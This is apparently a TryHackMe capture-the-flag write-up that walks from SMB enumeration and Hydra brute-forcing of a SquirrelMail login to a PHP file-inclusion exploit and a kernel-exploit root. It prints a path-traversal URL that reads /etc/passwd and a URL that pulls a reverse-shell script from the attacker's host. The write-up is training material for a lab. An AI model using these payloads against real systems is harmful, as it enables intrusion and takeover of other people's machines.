
We start with basic enumeration via nmap.

We notice that there is a pop server running on port 110.
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Port 80

We can enumerate smb and connect to the anonymous share.

Then type dir to see which files are available to us.  

The logs appear to be empty, but let's download all the files in the directory.
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When we cat attention.txt, we see a message from Miles Dyson who we assume is the admin.

Log.txt1 appears to contain potential passwords.

Now let's run gobuster and Nikto to see if we can locate any hidden directories.
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We follow the interesting link and it reveals to us the version of SquirrelMail and provides a link to a 
login page.

We know that there is a smb share called milesdyson.  Let's try that username and go down our 
password list to see if we can get into Miles' email.

Yes!  That worked!
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We can also brute-force in an automated fashion using Burpsuite and Hydra. This should produce the 
same result.
First, we turn on Burpsuite.  Enable the proxy, and then enter bogus credentials.  The point of this is to 
obtain the fields for the web form.

The fields that we require for Hydra are highlighted below.  It's a good idea to put these into a text file 
along with the message that indicates a failed login from the website.  The failed login message is what 
tells hydra that it hasn't matched the password yet.
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So, our hydra command should look like this:

Now, let's run it!  It matches the first password on the list (duh).  ;0)
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It says in Miles' email that his Samba password was reset.  Let's try it.

Let's login to Miles' smb share with the new password.

We will navigate to dir and download everything in there.
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Now we can find interesting files, including a hidden directory.

We can run gobuster and nikto against the hidden directory.

   TRY HACK  ME Page 8    



Here is the landing page for index.html.

Both tools located the Administrator directory.  Let's navigate to it and attempt to login.
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Since this is in the beta phase according to Miles' notes, let's see if we can get in with the default 
credentials.

None of the default creds appear to work.  We researched a vulnerability for this application and found 
that it may be vulnerable to PHP code injection.

First, let's see if we can brute force our way in with Hydra.

Brute Forcing our way in didn't appear to work either, so let's try out our exploit.
According to the exploit, we should be able to display the contents of the /etc/passwd file.
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Let's try it.
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?
urlConfig=../../../../../../../../../etc/passwd

That works.  So, let's see if we can get a reverse shell using this exploit.
We create a script for a reverse shell and then open a netcat session on port 7777 to catch it.

Then we exploit with this code:
http://10.10.116.79/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?
urlConfig=http://10.10.116.29:8888/shell.txt?
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Let's capture the user flag.

We change to the backups directory and learn that there is a process called backup.sh running as root.  
This is our possible path to privilege escalation.

We appear to have a limited shell.  According to the exploit, we can still pull data from the system as 
root.  Let's use the exploit to see if we can list any scripts that may be running as root.
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Backup.sh is running as root.

Let's download LinPeas to aid us in our privilege escalation.

Next, let's change directories to /tmp.  From there we will upload linpeas.sh to our victim server using a 
wget request.

Next, we add the executable bit to linpeas.sh
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After running linpeas.sh, I didn't see a clear path to get privilege escalation.  As a last resort I will 
attempt a kernel exploit.  To find our kernel version we execute a uname -a command.

A quick search reveals an exploit for our kernel version.

We can download the exploit and then upload to the victim /tmp directory via wget.

Now that the file has been successfully uploaded, we can compile and run the exploit.
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We are now root!
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